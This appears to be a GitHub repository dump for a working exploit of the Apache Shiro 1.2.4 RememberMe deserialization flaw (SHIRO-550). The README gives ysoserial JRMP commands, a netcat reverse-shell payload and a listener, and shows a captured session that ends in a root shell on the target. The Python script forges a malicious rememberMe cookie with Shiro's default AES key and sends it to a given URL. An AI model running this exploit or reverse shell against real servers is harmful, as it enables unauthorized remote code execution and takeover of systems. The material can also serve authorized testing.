├── README.md ├── SHIRO-550.gif ├── commons-collections-3.2.1.jar ├── commons-collections-3.2.1.jpg ├── samples-web-1.2.4.war └── shiro_rce.py /README.md: -------------------------------------------------------------------------------- 1 | # Shiro RememberMe 1.2.4 反序列化漏洞(SHIRO-550) 2 | 3 | ![](./SHIRO-550.gif) 4 | 5 | ## commons-collections-3.2.1.jar 6 | 7 | `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py` 8 | 9 | `java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989'` 10 | 11 | `nc -nlvp 8989` 12 | 13 | ![](./commons-collections-3.2.1.jpg) 14 | 15 | ## python usage: 16 | 17 | ``` 18 | python3 shiro_rce.py 19 | 20 | 21 | _____ _ _ _____ _____ ____ _____ _____ ___ 22 | / ____| | | |_ _| __ \ / __ \ | ____| ____|/ _ \ 23 | | (___ | |__| | | | | |__) | | | |______| |__ | |__ | | | | 24 | \___ \| __ | | | | _ /| | | |______|___ \|___ \| | | | 25 | ____) | | | |_| |_| | \ \| |__| | ___) |___) | |_| | 26 | |_____/|_| |_|_____|_| \_\____/ |____/|____/ \___/ 27 | 28 | Shiro RememberMe 1.2.4 反序列化漏洞 29 | 30 | 31 | 32 | 33 | [+] Usage: python3 shiro_rce.py http://10.10.20.166:8080/shiro/ command 34 | 35 | ``` 36 | 37 | ## get for samples-web-1.2.4.war 38 | 39 | ``` 40 | git clone https://github.com/apache/shiro.git 41 | cd shiro 42 | git checkout shiro-root-1.2.4 43 | mvn install 44 | ``` 45 | #### mvn version 46 | 47 | ``` 48 | mvn -v 49 | Apache Maven 3.6.2 (40f52333136460af0dc0d7232c0dc0bcf0d9e117; 2019-08-27T11:06:16-04:00) 50 | Maven home: /opt/apache-maven-3.6.2 51 | Java version: 1.8.0_60, vendor: Oracle Corporation, runtime: /opt/jdk1.8.0_60/jre 52 | Default locale: en_US, platform encoding: UTF-8 53 | OS name: "linux", version: "4.19.0-kali1-amd64", arch: "amd64", family: "unix" 54 | 55 | ``` 56 | 57 | #### cat ~/.m2/toolchains.xml 58 | ``` 59 | 60 | 61 | 62 | jdk 63 | 64 | 1.6 65 | sun 66 | 67 | 68 | /opt/jdk/jdk1.6.0_45 69 | 70 | 71 | 72 | 73 | ``` 74 | 75 | 76 | ## Reverse shell 77 | 78 | ``` 79 | python3 shiro_rce.py http://10.10.20.166:8080/samples-web-1.2.4/ "nc -e /bin/sh 192.168.5.86 9999" 80 | 81 | 82 | _____ _ _ _____ _____ ____ _____ _____ ___ 83 | / ____| | | |_ _| __ \ / __ \ | ____| ____|/ _ \ 84 | | (___ | |__| | | | | |__) | | | |______| |__ | |__ | | | | 85 | \___ \| __ | | | | _ /| | | |______|___ \|___ \| | | | 86 | ____) | | | |_| |_| | \ \| |__| | ___) |___) | |_| | 87 | |_____/|_| |_|_____|_| \_\____/ |____/|____/ \___/ 88 | 89 | Shiro RememberMe 1.2.4 反序列化漏洞 90 | 91 | 92 | 93 | 2019-10-25 13:43:33 94 | 95 | [+] Send POC Success 96 | [+] Exit Shiro RCE Vuln 97 | ``` 98 | 99 | ``` 100 | C:\Users\CTF>nc -nlvp 9999 101 | listening on [any] 9999 ... 102 | connect to [192.168.5.86] from (UNKNOWN) [10.10.20.166] 38656 103 | id 104 | uid=0(root) gid=0(root) groups=0(root) 105 | cd /tmp 106 | ls 107 | 123123123123 108 | ``` 109 | 110 | ## 参考链接: 111 | 112 | http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html 113 | 114 | https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html 115 | 116 | https://blog.zsxsoft.com/post/35 117 | 118 | https://paper.seebug.org/shiro-rememberme-1-2-4/ 119 | -------------------------------------------------------------------------------- /SHIRO-550.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SHIRO-550/7ed4d4a416b4e1e1b9719d4fa34bdf6c4435dc99/SHIRO-550.gif -------------------------------------------------------------------------------- /commons-collections-3.2.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SHIRO-550/7ed4d4a416b4e1e1b9719d4fa34bdf6c4435dc99/commons-collections-3.2.1.jar -------------------------------------------------------------------------------- /commons-collections-3.2.1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SHIRO-550/7ed4d4a416b4e1e1b9719d4fa34bdf6c4435dc99/commons-collections-3.2.1.jpg -------------------------------------------------------------------------------- /samples-web-1.2.4.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SHIRO-550/7ed4d4a416b4e1e1b9719d4fa34bdf6c4435dc99/samples-web-1.2.4.war -------------------------------------------------------------------------------- /shiro_rce.py: -------------------------------------------------------------------------------- 1 | 2 | # pip install pycrypto for linux 3 | # or 4 | # pip install pycryptodome for windows 5 | 6 | import sys,json,requests,time 7 | import base64 8 | import uuid 9 | from random import Random 10 | import subprocess 11 | from Crypto.Cipher import AES 12 | 13 | import binascii 14 | 15 | banner = ''' 16 | 17 | _____ _ _ _____ _____ ____ _____ _____ ___ 18 | / ____| | | |_ _| __ \ / __ \ | ____| ____|/ _ \ 19 | | (___ | |__| | | | | |__) | | | |______| |__ | |__ | | | | 20 | \___ \| __ | | | | _ /| | | |______|___ \|___ \| | | | 21 | ____) | | | |_| |_| | \ \| |__| | ___) |___) | |_| | 22 | |_____/|_| |_|_____|_| \_\\____/ |____/|____/ \___/ 23 | 24 | Shiro RememberMe 1.2.4 反序列化漏洞 25 | 26 | 27 | ''' 28 | print(banner) 29 | 30 | now = int(round(time.time()*1000)) 31 | now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now/1000)) 32 | 33 | def encode_rememberme(command): 34 | # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) 35 | popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) 36 | # print(type(popen)) # 37 | BS = AES.block_size 38 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 39 | key = "kPH+bIxk5D2deZiIxcaaaA==" # 常量 40 | mode = AES.MODE_CBC 41 | iv = uuid.uuid4().bytes # 随机值 42 | # print(iv) 43 | encryptor = AES.new(base64.b64decode(key), mode, iv) 44 | file_body = pad(popen.stdout.read()) 45 | # print(type(file_body)) # 46 | # print(file_body) 47 | x = binascii.hexlify(file_body) 48 | java_hex = str(x,'ascii') 49 | print(java_hex) 50 | # java_str = str(file_body, encoding = "latin-1") 51 | 52 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 53 | # print(base64_ciphertext) 54 | # print(type(base64_ciphertext)) 55 | base64_ciphertext_str = (str(base64_ciphertext, encoding = "utf-8")) 56 | send_exp(url,base64_ciphertext_str) 57 | return base64_ciphertext 58 | 59 | def send_exp(url,base64_ciphertext_str): 60 | if url[-1] == '/': 61 | shiro_url = url 62 | else: 63 | shiro_url = url + '/' 64 | 65 | headers = { 66 | 'Accept': '*/*', 67 | 'Accept-Encoding': 'gzip, deflate', 68 | 'Connection': 'keep-alive', 69 | 'User-Agent': 'HTTPie/1.0.3', 70 | 'Content-Length': '2', 71 | 'Cookie': 'rememberMe=%s' % base64_ciphertext_str 72 | } 73 | # print(headers['Cookie']) 74 | proxies = {"http":"http://127.0.0.1:8088"} 75 | 76 | r = requests.get(shiro_url, headers=headers) 77 | response_str = json.dumps(r.headers.__dict__['_store']) 78 | if r.status_code == 200 and 'rememberMe' in response_str and 'JSESSIONID' in response_str: 79 | print('\n'+ now_time+'\n') 80 | print("[+] Send POC Success") 81 | print("[+] Exit Shiro RCE Vuln") 82 | else: 83 | print(now_time+'\n') 84 | print("[+] No Shiro Vuln Exit!") 85 | 86 | if __name__ == '__main__': 87 | if len(sys.argv) != 3: 88 | sys.exit("\n[+] Usage: python3 %s http://10.10.20.166:8080/shiro/ command\n" % sys.argv[0]) 89 | else: 90 | url = sys.argv[1] 91 | payload = encode_rememberme(sys.argv[2]) 92 | with open("payload.cookie", "w") as fpw: 93 | print("rememberMe={}".format(payload.decode()), file=fpw) 94 | 95 | --------------------------------------------------------------------------------